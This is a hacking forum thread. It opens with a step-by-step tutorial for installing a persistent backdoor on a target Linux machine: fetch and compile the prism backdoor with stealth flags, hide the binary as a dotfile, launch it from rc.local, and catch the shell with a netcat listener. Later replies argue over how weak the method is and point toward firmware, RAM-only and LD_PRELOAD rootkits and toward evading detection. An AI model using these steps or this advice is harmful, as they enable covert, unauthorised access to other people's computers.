[Cyph3rX]

Hello All,

Another simple tutorial on how to install a persistent backdoor onto a Linux machine.

Requirments:
git
build-essential or gcc

To begin let's download our backdoor source code:

Code:

git clone https://github.com/andreafabrizi/prism.git

Now cd into the newly created directory, edit prism.c with your favourite editor and your own variables.

Now let's build it for our target x64 machine:

Code:

gcc -DSTATIC -DDETACH -DIPTABLES -Wall -s -o backdoor prism.c

Now let's copy it somewhere safe:

Code:

cp backdoor ~/.backdoor

Easiest way to add this to start up is to edit the rc.local file and add the following:

Code:

/home/USER/./.backdoor

Now on your local machine just type the following:

Code:

nc -l -p 80

(80 is the port that you have set in prism.c.)

References:
https://github.com/andreafabrizi/prism
https://www.andreafabrizi.it/?prism

This is a user space stealth cross os backdoor that runs on Linux, Solaris, AIX, BSD/Mac & Android, you have to edit prism.c to meet your needs else it will fail to work as intended.

Enjoy :p

[warstrike]

First of all no this will not be persistant. It's obvious and loud. The files stay on the target's filesystem as well. Userland, kernelland, they will never be persistant, because either can be changed. Learn to kit firmwares. While they can also be changed, not many people know how or change a device's firmware. A good start would be to learn how to use coreboot and ipxe. Make sure your rootkit runs in RAM, and never stores anything on disk, whatever you choose to use, skid. Rippr.

[Cyph3rX]

This is persistent as it allows us to access the target machine after initial infection, I know it's not advanced as a rootkit but it can still help a lot of people learn the basics and we all have to start somewhere.

Y u so hostile?

[Eclipse]

This is persistent as it allows us to access the target machine after initial infection, I know it's not advanced as a rootkit but it can still help a lot of people learn the basics and we all have to start somewhere.

Y u so hostile?

I don't think persistent means what you think it means.

[Cyph3rX]

I understand it's not the best method for backdooring a linux machine, @Eclipse would you care to elaborate more as I am here to learn and I want to understand more for future reference.

[warstrike]

Sure but someday, and someday soon it will be removed, sometimes in a matter of hours, because believe it or not some people actually tend to their boxes. "We all have to start somewhere." I hear that a lot, but it isn't a good excuse for using this garbage or similar on a real target.

[Cyph3rX]

Sure but someday, and someday soon it will be removed, sometimes in a matter of hours, because believe it or not some people actually tend to their boxes. "We all have to start somewhere." I hear that a lot, but it isn't a good excuse for using this garbage or similar on a real target.

I know that this would be a shitty way of trying to keep access to a box, but I created this tutorial for educational purposes, it would probably be better to add the code to an application and modify it a little to evade detection and an encrypted connection.

[Dyme]

First of all no this will not be persistant. It's obvious and loud. The files stay on the target's filesystem as well. Userland, kernelland, they will never be persistant, because either can be changed. Learn to kit firmwares. While they can also be changed, not many people know how or change a device's firmware. A good start would be to learn how to use coreboot and ipxe. Make sure your rootkit runs in RAM, and never stores anything on disk, whatever you choose to use, skid. Rippr.

Lmao gtfo of here with this shit, $100 bucks you use a ld_preload kit.

[Crypt]

I know that this would be a shitty way of trying to keep access to a box, but I created this tutorial for educational purposes, it would probably be better to add the code to an application and modify it a little to evade detection and an encrypted connection.

Who are you attempting to educate then, and with what intent? You said it yourself that this is a shitty way to maintain access to a box, so why did you make a thread explaining how to do it?

If you're going to make the claim that this is for educational purposes, at least make it a tutorial with knowledge that people can actually use in the "real world". Otherwise, what are people reading this thread for?

[Cyph3rX]

This is just to teach people the basics of how to do something like this, this could be useful for people new to Linux who have no idea where to start.